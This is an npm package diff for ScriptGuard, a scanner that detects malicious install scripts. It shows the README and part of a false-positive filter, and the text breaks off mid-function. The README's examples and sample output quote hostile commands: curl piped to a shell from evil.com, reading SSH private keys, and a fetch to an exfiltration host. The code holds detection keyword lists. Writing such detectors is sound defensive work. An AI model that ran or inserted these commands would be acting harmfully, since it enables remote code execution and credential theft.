scriptguard 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +430 -0
- package/dist/ai/analyzers/false-positive-filter.d.ts +15 -0
- package/dist/ai/analyzers/false-positive-filter.d.ts.map +1 -0
- package/dist/ai/analyzers/false-positive-filter.js +162 -0
- package/dist/ai/analyzers/false-positive-filter.js.map +1 -0
- package/dist/ai/analyzers/insight-generator.d.ts +7 -0
- package/dist/ai/analyzers/insight-generator.d.ts.map +1 -0
- package/dist/ai/analyzers/insight-generator.js +384 -0
- package/dist/ai/analyzers/insight-generator.js.map +1 -0
- package/dist/ai/analyzers/threat-detector.d.ts +7 -0
- package/dist/ai/analyzers/threat-detector.d.ts.map +1 -0
- package/dist/ai/analyzers/threat-detector.js +249 -0
- package/dist/ai/analyzers/threat-detector.js.map +1 -0
- package/dist/ai/gemini-client.d.ts +47 -0
- package/dist/ai/gemini-client.d.ts.map +1 -0
- package/dist/ai/gemini-client.js +222 -0
- package/dist/ai/gemini-client.js.map +1 -0
- package/dist/ai/index.d.ts +8 -0
- package/dist/ai/index.d.ts.map +1 -0
- package/dist/ai/index.js +19 -0
- package/dist/ai/index.js.map +1 -0
- package/dist/ai/prompts.d.ts +11 -0
- package/dist/ai/prompts.d.ts.map +1 -0
- package/dist/ai/prompts.js +212 -0
- package/dist/ai/prompts.js.map +1 -0
- package/dist/cli.d.ts +4 -0
- package/dist/cli.d.ts.map +1 -0
- package/dist/cli.js +283 -0
- package/dist/cli.js.map +1 -0
- package/dist/index.d.ts +6 -0
- package/dist/index.d.ts.map +1 -0
- package/dist/index.js +16 -0
- package/dist/index.js.map +1 -0
- package/dist/scanners/index.d.ts +10 -0
- package/dist/scanners/index.d.ts.map +1 -0
- package/dist/scanners/index.js +202 -0
- package/dist/scanners/index.js.map +1 -0
- package/dist/scanners/lifecycle.d.ts +10 -0
- package/dist/scanners/lifecycle.d.ts.map +1 -0
- package/dist/scanners/lifecycle.js +202 -0
- package/dist/scanners/lifecycle.js.map +1 -0
- package/dist/scanners/patterns.d.ts +4 -0
- package/dist/scanners/patterns.d.ts.map +1 -0
- package/dist/scanners/patterns.js +188 -0
- package/dist/scanners/patterns.js.map +1 -0
- package/dist/types/index.d.ts +123 -0
- package/dist/types/index.d.ts.map +1 -0
- package/dist/types/index.js +4 -0
- package/dist/types/index.js.map +1 -0
- package/package.json +46 -0
package/README.md
ADDED
|
@@ -0,0 +1,430 @@
|
|
|
1
|
+
# ScriptGuard 🔒
|
|
2
|
+
|
|
3
|
+
[](https://opensource.org/licenses/MIT)
|
|
4
|
+
[](https://github.com/ferrierepete/scriptguard)
|
|
5
|
+
[](https://nodejs.org)
|
|
6
|
+
|
|
7
|
+
> **Security scanner for npm package lifecycle scripts** — detect malicious `postinstall`, `preinstall`, and `prepare` scripts before they run.
|
|
8
|
+
|
|
9
|
+
npm supply chain attacks often hide in lifecycle scripts — code that runs automatically during `npm install`. ScriptGuard scans installed packages and flags dangerous patterns like remote code execution, credential theft, data exfiltration, and obfuscated payloads.
|
|
10
|
+
|
|
11
|
+
## Install
|
|
12
|
+
|
|
13
|
+
### Option 1: Install from source (current)
|
|
14
|
+
|
|
15
|
+
```bash
|
|
16
|
+
# Clone the repository
|
|
17
|
+
git clone https://github.com/ferrierepete/scriptguard.git
|
|
18
|
+
cd scriptguard
|
|
19
|
+
|
|
20
|
+
# Install dependencies
|
|
21
|
+
npm install
|
|
22
|
+
|
|
23
|
+
# Build the project
|
|
24
|
+
npm run build
|
|
25
|
+
|
|
26
|
+
# Install globally
|
|
27
|
+
npm link
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
### Option 2: Run directly without installation
|
|
31
|
+
|
|
32
|
+
```bash
|
|
33
|
+
# Clone and run
|
|
34
|
+
git clone https://github.com/ferrierepete/scriptguard.git
|
|
35
|
+
cd scriptguard
|
|
36
|
+
npm install
|
|
37
|
+
npm run build
|
|
38
|
+
node dist/cli.js scan
|
|
39
|
+
```
|
|
40
|
+
|
|
41
|
+
### Option 3: Install via npm (coming soon)
|
|
42
|
+
|
|
43
|
+
```bash
|
|
44
|
+
# Package will be published to npm soon
|
|
45
|
+
npm install -g scriptguard
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
> **Note**: This project is currently in development. To use it today, install from source using Option 1 or Option 2.
|
|
49
|
+
|
|
50
|
+
## Usage
|
|
51
|
+
|
|
52
|
+
### Scan your project
|
|
53
|
+
|
|
54
|
+
```bash
|
|
55
|
+
# Scan all installed packages for malicious lifecycle scripts
|
|
56
|
+
scriptguard scan
|
|
57
|
+
|
|
58
|
+
# Scan a specific project path
|
|
59
|
+
scriptguard scan --path /path/to/project
|
|
60
|
+
|
|
61
|
+
# Output as JSON for CI pipelines
|
|
62
|
+
scriptguard scan --format json
|
|
63
|
+
|
|
64
|
+
# Fail CI if high/critical findings found
|
|
65
|
+
scriptguard scan --fail-on high
|
|
66
|
+
|
|
67
|
+
# SARIF output for GitHub Advanced Security
|
|
68
|
+
scriptguard scan --format sarif
|
|
69
|
+
```
|
|
70
|
+
|
|
71
|
+
### Check a single package.json
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
scriptguard check ./package.json
|
|
75
|
+
scriptguard check ./some-module/package.json --format json
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
### List all detection patterns
|
|
79
|
+
|
|
80
|
+
```bash
|
|
81
|
+
scriptguard patterns
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
### AI-Powered Analysis (Optional)
|
|
85
|
+
|
|
86
|
+
ScriptGuard can use Google Gemini AI to enhance security scans with contextual analysis:
|
|
87
|
+
|
|
88
|
+
```bash
|
|
89
|
+
# Enable AI analysis
|
|
90
|
+
export GOOGLE_AI_API_KEY=your_key_here
|
|
91
|
+
scriptguard scan --ai
|
|
92
|
+
|
|
93
|
+
# Choose analysis depth
|
|
94
|
+
scriptguard scan --ai --ai-mode basic # Quick false positive filtering
|
|
95
|
+
scriptguard scan --ai --ai-mode standard # Full analysis (default)
|
|
96
|
+
scriptguard scan --ai --ai-mode thorough # Deep analysis with correlation
|
|
97
|
+
|
|
98
|
+
# Control costs and timeouts
|
|
99
|
+
scriptguard scan --ai --ai-max-tokens 500 --ai-timeout 5000
|
|
100
|
+
|
|
101
|
+
# Include remediation recommendations
|
|
102
|
+
scriptguard scan --ai --ai-mitigation
|
|
103
|
+
```
|
|
104
|
+
|
|
105
|
+
**What AI adds:**
|
|
106
|
+
- ✅ **Reduces false positives** by understanding context (e.g., `process.env.PORT` vs `process.env.AWS_SECRET_KEY`)
|
|
107
|
+
- ✅ **Detects advanced threats** like obfuscated code, novel attack patterns, and multi-stage attacks
|
|
108
|
+
- ✅ **Provides actionable insights** with attack technique identification and remediation guidance
|
|
109
|
+
|
|
110
|
+
**Get an API key:**
|
|
111
|
+
1. Visit https://makersuite.google.com/app/apikey
|
|
112
|
+
2. Create a new API key (free tier available)
|
|
113
|
+
3. Set as environment variable: `export GOOGLE_AI_API_KEY=your_key`
|
|
114
|
+
|
|
115
|
+
**Model & Pricing:**
|
|
116
|
+
- **Model**: `gemini-3-flash-preview` (fast, cost-effective)
|
|
117
|
+
- **Estimated cost**: ~$0.00002 per 100 packages (based on ~2,000 tokens/scan)
|
|
118
|
+
- **Actual test results**:
|
|
119
|
+
- Basic mode: 405 tokens (~$0.000004)
|
|
120
|
+
- Standard mode: 1,640 tokens (~$0.000016)
|
|
121
|
+
- Thorough mode: ~2,500 tokens (~$0.000025)
|
|
122
|
+
|
|
123
|
+
⚠️ **Pricing varies by region and usage tier**. For current pricing, see:
|
|
124
|
+
- [Gemini 3 Documentation](https://ai.google.dev/gemini-api/docs/gemini-3)
|
|
125
|
+
- [Gemini Pricing](https://ai.google.dev/pricing)
|
|
126
|
+
|
|
127
|
+
**Cost control tips:**
|
|
128
|
+
- Use `--ai-mode basic` for CI/CD (4x cheaper)
|
|
129
|
+
- Set `--ai-max-tokens` to limit usage per scan
|
|
130
|
+
- Results are cached for 24 hours (same packages = free rescan)
|
|
131
|
+
|
|
132
|
+
## What It Detects
|
|
133
|
+
|
|
134
|
+
ScriptGuard uses 26 detection patterns across 6 categories:
|
|
135
|
+
|
|
136
|
+
| Category | Examples |
|
|
137
|
+
|----------|---------|
|
|
138
|
+
| **Network** | `curl \| bash`, silent HTTP requests, DNS exfiltration |
|
|
139
|
+
| **Execution** | `eval()`, `child_process`, shell exec, `node -e` |
|
|
140
|
+
| **Filesystem** | SSH key access, AWS credential reading, `/etc/passwd` access |
|
|
141
|
+
| **Exfiltration** | `process.env` reads, clipboard access, keychain access |
|
|
142
|
+
| **Obfuscation** | base64 decode + eval, hex-encoded payloads |
|
|
143
|
+
| **Crypto** | Cryptocurrency miners, reverse shells |
|
|
144
|
+
|
|
145
|
+
## Output Formats
|
|
146
|
+
|
|
147
|
+
- **Table** (default) — human-readable terminal output with risk scores
|
|
148
|
+
- **JSON** — structured data for tooling integration
|
|
149
|
+
- **SARIF** — GitHub Advanced Security compatible format
|
|
150
|
+
|
|
151
|
+
## CI/CD Integration
|
|
152
|
+
|
|
153
|
+
### When published to npm (coming soon)
|
|
154
|
+
|
|
155
|
+
```yaml
|
|
156
|
+
# GitHub Actions
|
|
157
|
+
- name: ScriptGuard Security Scan
|
|
158
|
+
run: npx scriptguard scan --fail-on high --format sarif > scriptguard-results.sarif
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
### Installing from source (current)
|
|
162
|
+
|
|
163
|
+
```yaml
|
|
164
|
+
# GitHub Actions
|
|
165
|
+
- name: ScriptGuard Security Scan
|
|
166
|
+
run: |
|
|
167
|
+
git clone https://github.com/ferrierepete/scriptguard.git
|
|
168
|
+
cd scriptguard
|
|
169
|
+
npm install
|
|
170
|
+
npm run build
|
|
171
|
+
node dist/cli.js scan --fail-on high --format sarif > scriptguard-results.sarif
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
## Programmatic API
|
|
175
|
+
|
|
176
|
+
```typescript
|
|
177
|
+
import { scanProject, analyzePackage } from 'scriptguard';
|
|
178
|
+
|
|
179
|
+
// Scan an entire project
|
|
180
|
+
const result = scanProject({ path: '.', includeDev: false, minRiskLevel: 'low', format: 'table' });
|
|
181
|
+
console.log(`Found ${result.totalFindings} findings`);
|
|
182
|
+
|
|
183
|
+
// Analyze a single package's scripts
|
|
184
|
+
const analysis = analyzePackage('my-pkg', '1.0.0', { postinstall: 'curl http://evil.com | sh' });
|
|
185
|
+
console.log(analysis.riskLevel); // 'critical'
|
|
186
|
+
```
|
|
187
|
+
|
|
188
|
+
## Why This Exists
|
|
189
|
+
|
|
190
|
+
- **824+ malicious OpenClaw skills** were found on ClawHub (20% contamination rate)
|
|
191
|
+
- **pino-SDK-v2** exfiltrated `.env` secrets to Discord via postinstall
|
|
192
|
+
- **Shai-Hulud** supply chain attack compromised hundreds of npm packages
|
|
193
|
+
- `npm audit` only checks for known CVEs — not malicious behavior patterns
|
|
194
|
+
- No dedicated tool existed for scanning lifecycle scripts
|
|
195
|
+
|
|
196
|
+
## Tech Stack
|
|
197
|
+
|
|
198
|
+
- TypeScript, Node.js 18+
|
|
199
|
+
- Commander.js (CLI), Zod (validation)
|
|
200
|
+
- Optional AI: Google Gemini API (requires `GOOGLE_AI_API_KEY`)
|
|
201
|
+
- Zero runtime dependencies beyond CLI framework
|
|
202
|
+
|
|
203
|
+
## Example Output
|
|
204
|
+
|
|
205
|
+
```bash
|
|
206
|
+
$ scriptguard scan
|
|
207
|
+
|
|
208
|
+
🔒 ScriptGuard — npm Lifecycle Script Security Scanner
|
|
209
|
+
|
|
210
|
+
Scanned 156 packages (42 with lifecycle scripts) in 23ms
|
|
211
|
+
|
|
212
|
+
Summary
|
|
213
|
+
Overall Risk: HIGH (52/100)
|
|
214
|
+
Findings: 8 total — 🔴 2 critical | 🟠 3 high | 🟡 2 medium | ⚪ 1 low
|
|
215
|
+
|
|
216
|
+
Findings
|
|
217
|
+
──────────────────────────────────────────────────────────────────────
|
|
218
|
+
|
|
219
|
+
suspicious-package@2.1.0 🔴 CRITICAL [85/100]
|
|
220
|
+
🔴 CRITICAL curl-pipe
|
|
221
|
+
Downloads and executes remote code via curl pipe
|
|
222
|
+
Match: curl -s https://evil.com/payload.sh | bash
|
|
223
|
+
|
|
224
|
+
🔴 CRITICAL ssh-access
|
|
225
|
+
Accesses SSH keys — credential theft risk
|
|
226
|
+
Match: cat ~/.ssh/id_rsa
|
|
227
|
+
|
|
228
|
+
data-exfil@1.0.3 🟠 HIGH [65/100]
|
|
229
|
+
🟠 HIGH env-exfil
|
|
230
|
+
Reads environment variables — may contain secrets
|
|
231
|
+
Match: process.env
|
|
232
|
+
|
|
233
|
+
🟠 HIGH http-request
|
|
234
|
+
Outbound HTTP request detected
|
|
235
|
+
Match: fetch('https://exfil.com/data')
|
|
236
|
+
|
|
237
|
+
──────────────────────────────────────────────────────────────────────
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
## Performance
|
|
241
|
+
|
|
242
|
+
ScriptGuard is optimized for speed:
|
|
243
|
+
|
|
244
|
+
### Regex-Only Scanning (Default)
|
|
245
|
+
|
|
246
|
+
| Project Size | Packages | Scan Time |
|
|
247
|
+
|--------------|----------|-----------|
|
|
248
|
+
| Small | < 50 | ~5-15ms |
|
|
249
|
+
| Medium | 50-200 | ~15-40ms |
|
|
250
|
+
| Large | 200-1000 | ~40-150ms |
|
|
251
|
+
| Monorepo | 1000+ | ~150-500ms |
|
|
252
|
+
|
|
253
|
+
**Why so fast?**
|
|
254
|
+
- Single-pass file system traversal
|
|
255
|
+
- No network requests during scanning
|
|
256
|
+
- Regex-based pattern matching (compiled at startup)
|
|
257
|
+
- Parallel-friendly architecture
|
|
258
|
+
|
|
259
|
+
### AI-Enabled Scanning (with `--ai`)
|
|
260
|
+
|
|
261
|
+
| Mode | Time (100 pkgs) | Tokens | Cost |
|
|
262
|
+
|------|-----------------|--------|------|
|
|
263
|
+
| Basic | +25s | 405 | ~$0.000004 |
|
|
264
|
+
| Standard | +30s | 1,640 | ~$0.000016 |
|
|
265
|
+
| Thorough | +35s | ~2,500 | ~$0.000025 |
|
|
266
|
+
|
|
267
|
+
**AI performance notes:**
|
|
268
|
+
- Times are **additional** to regex scanning
|
|
269
|
+
- Actual results from real scans (78 packages)
|
|
270
|
+
- Token usage varies by package complexity
|
|
271
|
+
- 24-hour response caching (same packages = instant)
|
|
272
|
+
- See [Gemini 3 Pricing](https://ai.google.dev/gemini-api/docs/gemini-3) for current rates
|
|
273
|
+
|
|
274
|
+
## FAQ
|
|
275
|
+
|
|
276
|
+
### Does ScriptGuard execute any code from packages?
|
|
277
|
+
|
|
278
|
+
**No.** ScriptGuard only reads `package.json` files and analyzes script contents as strings. It never executes, requires, or runs code from scanned packages.
|
|
279
|
+
|
|
280
|
+
### What about false positives?
|
|
281
|
+
|
|
282
|
+
Some legitimate packages use lifecycle scripts for build steps, binaries, or platform-specific installations. ScriptGuard flags these as **LOW** risk with the pattern `lifecycle-script-present`. Review these manually to decide if they're safe for your environment.
|
|
283
|
+
|
|
284
|
+
### Can I suppress specific findings?
|
|
285
|
+
|
|
286
|
+
Not currently. If you have legitimate use cases that trigger warnings, consider:
|
|
287
|
+
1. Using `--min-risk high` to filter out low/medium findings
|
|
288
|
+
2. Adding package-specific exclusions in your CI pipeline
|
|
289
|
+
3. Contributing a `.scriptguardignore` feature request!
|
|
290
|
+
|
|
291
|
+
### How does this differ from `npm audit`?
|
|
292
|
+
|
|
293
|
+
| | npm audit | ScriptGuard |
|
|
294
|
+
|---|-----------|-------------|
|
|
295
|
+
| What it checks | Known CVEs in dependencies | Malicious behavior patterns |
|
|
296
|
+
| Detection method | Vulnerability database | Static code analysis |
|
|
297
|
+
| What it catches | Outdated versions with known exploits | Zero-day attacks, obfuscated code |
|
|
298
|
+
| Scope | All dependency code | Lifecycle scripts only |
|
|
299
|
+
|
|
300
|
+
Use them together for comprehensive coverage.
|
|
301
|
+
|
|
302
|
+
### Should I run this in CI?
|
|
303
|
+
|
|
304
|
+
**Absolutely.** Add ScriptGuard to your CI pipeline to catch supply chain attacks before they reach production:
|
|
305
|
+
|
|
306
|
+
```yaml
|
|
307
|
+
# When published to npm (coming soon)
|
|
308
|
+
- name: Run ScriptGuard
|
|
309
|
+
run: npx scriptguard scan --fail-on high
|
|
310
|
+
|
|
311
|
+
# Installing from source (current)
|
|
312
|
+
- name: Run ScriptGuard
|
|
313
|
+
run: |
|
|
314
|
+
git clone https://github.com/ferrierepete/scriptguard.git
|
|
315
|
+
cd scriptguard
|
|
316
|
+
npm install
|
|
317
|
+
npm run build
|
|
318
|
+
node dist/cli.js scan --fail-on high
|
|
319
|
+
```
|
|
320
|
+
|
|
321
|
+
## Troubleshooting
|
|
322
|
+
|
|
323
|
+
### "No node_modules found"
|
|
324
|
+
|
|
325
|
+
ScriptGuard expects to run in a directory with a `node_modules` folder. If you're in a monorepo or using a different structure:
|
|
326
|
+
```bash
|
|
327
|
+
scriptguard scan --path ./packages/frontend
|
|
328
|
+
```
|
|
329
|
+
|
|
330
|
+
### High memory usage on large projects
|
|
331
|
+
|
|
332
|
+
If scanning 1000+ packages causes memory issues:
|
|
333
|
+
```bash
|
|
334
|
+
# Scan individual package directories
|
|
335
|
+
scriptguard scan --path ./node_modules/package-name
|
|
336
|
+
```
|
|
337
|
+
|
|
338
|
+
### Permission errors reading package.json
|
|
339
|
+
|
|
340
|
+
Some packages have restricted file permissions. ScriptGuard will skip these and continue scanning other packages. Check your file system permissions if you see many skipped packages.
|
|
341
|
+
|
|
342
|
+
## Development
|
|
343
|
+
|
|
344
|
+
Want to contribute or hack on ScriptGuard?
|
|
345
|
+
|
|
346
|
+
```bash
|
|
347
|
+
# Clone the repo
|
|
348
|
+
git clone https://github.com/ferrierepete/scriptguard.git
|
|
349
|
+
cd scriptguard
|
|
350
|
+
|
|
351
|
+
# Install dependencies
|
|
352
|
+
npm install
|
|
353
|
+
|
|
354
|
+
# Run tests
|
|
355
|
+
npm test
|
|
356
|
+
|
|
357
|
+
# Watch mode for development
|
|
358
|
+
npm run test:watch
|
|
359
|
+
|
|
360
|
+
# Build TypeScript
|
|
361
|
+
npm run build
|
|
362
|
+
|
|
363
|
+
# Run locally (before publishing)
|
|
364
|
+
npm link
|
|
365
|
+
scriptguard scan
|
|
366
|
+
```
|
|
367
|
+
|
|
368
|
+
### Project Structure
|
|
369
|
+
|
|
370
|
+
```
|
|
371
|
+
scriptguard/
|
|
372
|
+
├── src/
|
|
373
|
+
│ ├── cli.ts # Commander.js CLI entry point
|
|
374
|
+
│ ├── index.ts # Public API exports
|
|
375
|
+
│ ├── types/
|
|
376
|
+
│ │ └── index.ts # TypeScript definitions
|
|
377
|
+
│ └── scanners/
|
|
378
|
+
│ ├── index.ts # Scan orchestration
|
|
379
|
+
│ ├── lifecycle.ts # package.json parsing
|
|
380
|
+
│ └── patterns.ts # 26 detection rules
|
|
381
|
+
├── tests/
|
|
382
|
+
│ ├── scanner.test.ts # Vitest test suite
|
|
383
|
+
│ └── fixtures/ # Sample package.json files
|
|
384
|
+
└── dist/ # Compiled JavaScript (generated)
|
|
385
|
+
```
|
|
386
|
+
|
|
387
|
+
### Adding New Detection Patterns
|
|
388
|
+
|
|
389
|
+
Edit `src/scanners/patterns.ts` and add to the `PATTERN_RULES` array:
|
|
390
|
+
|
|
391
|
+
```typescript
|
|
392
|
+
{
|
|
393
|
+
name: 'your-pattern',
|
|
394
|
+
pattern: /your-regex-here/,
|
|
395
|
+
riskLevel: 'high', // or 'critical', 'medium', 'low'
|
|
396
|
+
description: 'What this pattern detects',
|
|
397
|
+
category: 'network', // or 'execution', 'filesystem', etc.
|
|
398
|
+
}
|
|
399
|
+
```
|
|
400
|
+
|
|
401
|
+
Then add tests in `tests/scanner.test.ts`.
|
|
402
|
+
|
|
403
|
+
## Contributing
|
|
404
|
+
|
|
405
|
+
Contributions are welcome! Here's how to help:
|
|
406
|
+
|
|
407
|
+
1. **Report bugs** — Open an issue with reproduction steps
|
|
408
|
+
2. **Suggest features** — Share your use case in Discussions
|
|
409
|
+
3. **Submit patterns** — Add new detection rules (see above)
|
|
410
|
+
4. **Improve docs** — Fix typos, clarify examples
|
|
411
|
+
5. **Fix bugs** — Pull requests welcome!
|
|
412
|
+
|
|
413
|
+
See [CONTRIBUTING.md](CONTRIBUTING.md) for detailed guidelines.
|
|
414
|
+
|
|
415
|
+
## Resources
|
|
416
|
+
|
|
417
|
+
- **GitHub Repository**: https://github.com/ferrierepete/scriptguard
|
|
418
|
+
- **Report Issues**: https://github.com/ferrierepete/scriptguard/issues
|
|
419
|
+
- **Discussions**: https://github.com/ferrierepete/scriptguard/discussions
|
|
420
|
+
- **npm Package** (coming soon): Will be published at https://www.npmjs.com/package/scriptguard
|
|
421
|
+
|
|
422
|
+
## Related Tools
|
|
423
|
+
|
|
424
|
+
- [npm audit](https://docs.npmjs.com/cli/v8/commands/npm-audit) — Official vulnerability scanner
|
|
425
|
+
- [snyk](https://snyk.io/) — Dependency vulnerability monitoring
|
|
426
|
+
- [lockfile-lint](https://github.com/lirantal/lockfile-lint) — Lockfile policy enforcement
|
|
427
|
+
|
|
428
|
+
## License
|
|
429
|
+
|
|
430
|
+
MIT © [Peter Ferriere](https://github.com/ferrierepete)
|
|
@@ -0,0 +1,15 @@
|
|
|
1
|
+
/** ScriptGuard — False positive filter analyzer */
|
|
2
|
+
import type { PackageAnalysis, Finding, AIInsight } from '../../types/index.js';
|
|
3
|
+
/**
|
|
4
|
+
* Analyze findings to identify false positives
|
|
5
|
+
* This is a lightweight analyzer that works in conjunction with AI analysis
|
|
6
|
+
*/
|
|
7
|
+
export declare function analyzeFalsePositives(analysis: PackageAnalysis, aiInsights: AIInsight[]): {
|
|
8
|
+
filteredFindings: Finding[];
|
|
9
|
+
falsePositivesFiltered: number;
|
|
10
|
+
};
|
|
11
|
+
/**
|
|
12
|
+
* Calculate confidence score for false positive determination
|
|
13
|
+
*/
|
|
14
|
+
export declare function getFalsePositiveConfidence(finding: Finding, analysis: PackageAnalysis): number;
|
|
15
|
+
//# sourceMappingURL=false-positive-filter.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"false-positive-filter.d.ts","sourceRoot":"","sources":["../../../src/ai/analyzers/false-positive-filter.ts"],"names":[],"mappings":"AAAA,mDAAmD;AAEnD,OAAO,KAAK,EAAE,eAAe,EAAE,OAAO,EAAE,SAAS,EAAE,MAAM,sBAAsB,CAAC;AAEhF;;;GAGG;AACH,wBAAgB,qBAAqB,CACnC,QAAQ,EAAE,eAAe,EACzB,UAAU,EAAE,SAAS,EAAE,GACtB;IACD,gBAAgB,EAAE,OAAO,EAAE,CAAC;IAC5B,sBAAsB,EAAE,MAAM,CAAC;CAChC,CAyBA;AA6HD;;GAEG;AACH,wBAAgB,0BAA0B,CAAC,OAAO,EAAE,OAAO,EAAE,QAAQ,EAAE,eAAe,GAAG,MAAM,CA0B9F"}
|
|
@@ -0,0 +1,162 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
/** ScriptGuard — False positive filter analyzer */
|
|
3
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
4
|
+
exports.analyzeFalsePositives = analyzeFalsePositives;
|
|
5
|
+
exports.getFalsePositiveConfidence = getFalsePositiveConfidence;
|
|
6
|
+
/**
|
|
7
|
+
* Analyze findings to identify false positives
|
|
8
|
+
* This is a lightweight analyzer that works in conjunction with AI analysis
|
|
9
|
+
*/
|
|
10
|
+
function analyzeFalsePositives(analysis, aiInsights) {
|
|
11
|
+
const filteredFindings = [];
|
|
12
|
+
let falsePositivesFiltered = 0;
|
|
13
|
+
// Get AI-identified false positives
|
|
14
|
+
const aiFalsePositives = new Set(aiInsights
|
|
15
|
+
.filter(insight => insight.type === 'false-positive')
|
|
16
|
+
.map(insight => insight.description));
|
|
17
|
+
for (const finding of analysis.findings) {
|
|
18
|
+
const isFalsePositive = isLikelyFalsePositive(finding, analysis);
|
|
19
|
+
if (isFalsePositive || aiMatchesFinding(finding, aiFalsePositives)) {
|
|
20
|
+
falsePositivesFiltered++;
|
|
21
|
+
}
|
|
22
|
+
else {
|
|
23
|
+
filteredFindings.push(finding);
|
|
24
|
+
}
|
|
25
|
+
}
|
|
26
|
+
return {
|
|
27
|
+
filteredFindings,
|
|
28
|
+
falsePositivesFiltered,
|
|
29
|
+
};
|
|
30
|
+
}
|
|
31
|
+
/**
|
|
32
|
+
* Rule-based false positive detection
|
|
33
|
+
* Works independently of AI to catch obvious cases
|
|
34
|
+
*/
|
|
35
|
+
function isLikelyFalsePositive(finding, analysis) {
|
|
36
|
+
const { pattern, scriptContent, scriptName } = finding;
|
|
37
|
+
// Known safe patterns in specific contexts
|
|
38
|
+
// 1. child_process for build tools (esbuild, webpack, vite, etc.)
|
|
39
|
+
if (pattern === 'child-process') {
|
|
40
|
+
const safeBuildTools = [
|
|
41
|
+
'esbuild', 'webpack', 'vite', 'rollup', 'tsc', 'ts-node',
|
|
42
|
+
'babel', 'prebuild', 'postbuild', 'node-gyp', 'node-pre-gyp',
|
|
43
|
+
'cmake', 'make', 'gyp', 'preinstall', 'npm run'
|
|
44
|
+
];
|
|
45
|
+
const scriptLower = scriptContent.toLowerCase();
|
|
46
|
+
if (safeBuildTools.some(tool => scriptLower.includes(tool))) {
|
|
47
|
+
return true;
|
|
48
|
+
}
|
|
49
|
+
}
|
|
50
|
+
// 2. process.env for configuration (not exfiltration)
|
|
51
|
+
if (pattern === 'env-exfil') {
|
|
52
|
+
const safeEnvVars = [
|
|
53
|
+
'PORT', 'HOST', 'NODE_ENV', 'DEBUG', 'VERBOSE', 'LOG_LEVEL',
|
|
54
|
+
'CI', 'DEPLOYMENT', 'ENVIRONMENT', 'CONFIG', 'PATH',
|
|
55
|
+
'HOME', 'TMP', 'TEMP', 'USER', 'SHELL'
|
|
56
|
+
];
|
|
57
|
+
const hasSafeEnv = safeEnvVars.some(envVar => scriptContent.includes(`process.env.${envVar}`) ||
|
|
58
|
+
scriptContent.includes(`${envVar}=`));
|
|
59
|
+
const hasSuspiciousEnv = [
|
|
60
|
+
'SECRET', 'KEY', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'AWS_',
|
|
61
|
+
'API_KEY', 'PRIVATE', 'AUTH'
|
|
62
|
+
].some(suspicious => scriptContent.toLowerCase().includes(suspicious.toLowerCase()));
|
|
63
|
+
// Only mark as false positive if we see safe env vars but no suspicious ones
|
|
64
|
+
if (hasSafeEnv && !hasSuspiciousEnv) {
|
|
65
|
+
return true;
|
|
66
|
+
}
|
|
67
|
+
}
|
|
68
|
+
// 3. HTTP requests to well-known CDN/registry (not data exfiltration)
|
|
69
|
+
if (pattern === 'http-request' || pattern === 'curl-silent') {
|
|
70
|
+
const safeDomains = [
|
|
71
|
+
'npmjs.com', 'unpkg.com', 'cdn.jsdelivr.net', 'cdn.skypack.dev',
|
|
72
|
+
'esm.sh', 'github.com', 'raw.githubusercontent.com',
|
|
73
|
+
'registry.npmjs.org', 'registry.yarnpkg.com'
|
|
74
|
+
];
|
|
75
|
+
const hasSafeDomain = safeDomains.some(domain => scriptContent.includes(domain));
|
|
76
|
+
const hasSuspiciousDomain = [
|
|
77
|
+
'pastebin', 'transfer.sh', 'tinyurl', 'bit.ly', 'discord',
|
|
78
|
+
'exfil', 'evil', 'malware', 'payload'
|
|
79
|
+
].some(suspicious => scriptContent.toLowerCase().includes(suspicious));
|
|
80
|
+
if (hasSafeDomain && !hasSuspiciousDomain) {
|
|
81
|
+
return true;
|
|
82
|
+
}
|
|
83
|
+
}
|
|
84
|
+
// 4. chmod for making binaries executable (common in native modules)
|
|
85
|
+
if (pattern === 'chmod-exec') {
|
|
86
|
+
const binaryExtensions = ['.exe', '.bin', '.node', '.sh', '.bash'];
|
|
87
|
+
const hasBinary = binaryExtensions.some(ext => scriptContent.includes(ext));
|
|
88
|
+
const hasSuspiciousTarget = [
|
|
89
|
+
'/bin/bash', '/bin/sh', 'authorized_keys', 'ssh',
|
|
90
|
+
'password', 'secret', 'credential'
|
|
91
|
+
].some(suspicious => scriptContent.toLowerCase().includes(suspicious.toLowerCase()));
|
|
92
|
+
if (hasBinary && !hasSuspiciousTarget) {
|
|
93
|
+
return true;
|
|
94
|
+
}
|
|
95
|
+
}
|
|
96
|
+
// 5. Write to temp dir for legitimate build purposes
|
|
97
|
+
if (pattern === 'tmp-write') {
|
|
98
|
+
const legitimateTempUsage = [
|
|
99
|
+
'extract', 'download', 'cache', 'build', 'compile',
|
|
100
|
+
'install', 'binary', 'artifact'
|
|
101
|
+
];
|
|
102
|
+
const hasLegitimatePurpose = legitimateTempUsage.some(purpose => scriptContent.toLowerCase().includes(purpose));
|
|
103
|
+
const hasSuspiciousPurpose = [
|
|
104
|
+
'reverse', 'shell', 'payload', 'malware', 'evil'
|
|
105
|
+
].some(suspicious => scriptContent.toLowerCase().includes(suspicious));
|
|
106
|
+
if (hasLegitimatePurpose && !hasSuspiciousPurpose) {
|
|
107
|
+
return true;
|
|
108
|
+
}
|
|
109
|
+
}
|
|
110
|
+
return false;
|
|
111
|
+
}
|
|
112
|
+
/**
|
|
113
|
+
* Check if AI identified this finding as a false positive
|
|
114
|
+
*/
|
|
115
|
+
function aiMatchesFinding(finding, aiFalsePositives) {
|
|
116
|
+
// Check if any AI false positive description mentions this pattern or match
|
|
117
|
+
for (const aiDesc of aiFalsePositives) {
|
|
118
|
+
if (aiDesc.toLowerCase().includes(finding.pattern.toLowerCase()) ||
|
|
119
|
+
